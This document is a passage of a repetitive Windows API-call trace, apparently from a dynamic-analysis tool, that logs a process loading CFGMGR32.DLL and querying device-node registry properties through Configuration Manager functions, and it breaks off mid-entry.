0x7ffa786cd000 [0193.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.583] malloc (_Size=0x18) returned 0x196ef0d1d40 [0193.583] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0193.584] malloc (_Size=0xe6) returned 0x196ef0d6890 [0193.584] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0193.584] free (_Block=0x196ef0d6890) [0193.584] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0193.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x543cdeac, dwHighDateTime=0x1d9eb0c)) [0193.584] SetEvent (hEvent=0x248) returned 1 [0193.587] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0193.587] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0193.587] free (_Block=0x196ef0d1ce0) [0193.587] malloc (_Size=0x18) returned 0x196ef0d1d40 [0193.587] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0193.587] free (_Block=0x196ef0d1d40) [0193.587] malloc (_Size=0x18) returned 0x196ef0d1d20 [0193.587] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0193.587] free (_Block=0x196ef0d1d20) [0193.587] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856260 [0193.587] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0193.587] SafeArrayGetLBound (in: psa=0x196ee7bf360, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0193.587] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0193.587] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6500 [0193.587] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0193.587] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0193.587] SafeArrayGetElemsize (psa=0x196ee7bf360) returned 0x8 [0193.588] SafeArrayGetElement (in: psa=0x196ee7bf360, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0193.588] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e790, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0193.588] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e798, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0193.589] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e7a0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0193.589] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6500) returned 1 [0193.590] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856260) returned 1 [0193.590] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.590] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.593] malloc (_Size=0x18) returned 0x196ef0d1e60 [0193.594] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0193.594] malloc (_Size=0x54) returned 0x196ef0fa510 [0193.594] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0fa510, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fa510, pulLength=0x67117d608) returned 0x0 [0193.594] free (_Block=0x196ef0fa510) [0193.594] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0193.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x543f48af, dwHighDateTime=0x1d9eb0c)) [0193.595] SetEvent (hEvent=0x248) returned 1 [0193.597] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0193.597] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0193.597] free (_Block=0x196ef0d1ee0) [0193.597] malloc (_Size=0x18) returned 0x196ef0d2080 [0193.597] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0193.597] free (_Block=0x196ef0d2080) [0193.597] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0193.597] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0193.597] free (_Block=0x196ef0d1ba0) [0193.597] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856960 [0193.597] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0193.598] SafeArrayGetLBound (in: psa=0x196ee7bec60, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0193.598] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0193.598] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b62f0 [0193.598] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0193.598] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0193.598] SafeArrayGetElemsize (psa=0x196ee7bec60) returned 0x8 [0193.598] SafeArrayGetElement (in: psa=0x196ee7bec60, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0193.598] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e430, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0193.599] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e438, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0193.599] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e440, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0193.599] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b62f0) returned 1 [0193.600] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856960) returned 1 [0193.600] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.600] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.603] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0193.603] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0193.604] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0193.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x543f48af, dwHighDateTime=0x1d9eb0c)) [0193.604] SetEvent (hEvent=0x248) returned 1 [0193.608] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.608] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.611] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.611] malloc (_Size=0x18) returned 0x196ef0d2060 [0193.611] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0193.612] malloc (_Size=0x48) returned 0x196ef0fbcc0 [0193.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5441a16b, dwHighDateTime=0x1d9eb0c)) [0193.612] SetEvent (hEvent=0x248) returned 1 [0193.798] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.798] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.801] malloc (_Size=0x18) returned 0x196ef0d1980 [0193.802] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0193.804] malloc (_Size=0x48) returned 0x196ef0fb540 [0193.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x545e3e4e, dwHighDateTime=0x1d9eb0c)) [0193.804] SetEvent (hEvent=0x248) returned 1 [0193.807] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.807] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.807] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.808] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.808] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.808] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.808] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.808] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.808] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.811] malloc (_Size=0x18) returned 0x196ef0d1f80 [0193.811] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0193.811] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0193.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5460c8a2, dwHighDateTime=0x1d9eb0c)) [0193.812] SetEvent (hEvent=0x248) returned 1 [0193.816] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.816] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.819] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.819] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.819] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.819] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.819] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.819] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.819] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.820] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.820] malloc (_Size=0x18) returned 0x196ef0d1960 [0193.820] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0193.825] malloc (_Size=0x48) returned 0x196ef0fb720 [0193.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x54630905, dwHighDateTime=0x1d9eb0c)) [0193.825] SetEvent (hEvent=0x248) returned 1 [0193.828] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.828] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.829] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.829] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.829] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.829] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.829] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.829] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.830] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.830] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.830] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.830] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.830] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.830] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.830] GetProcAddress (hModule=0x7ffa786c0000, 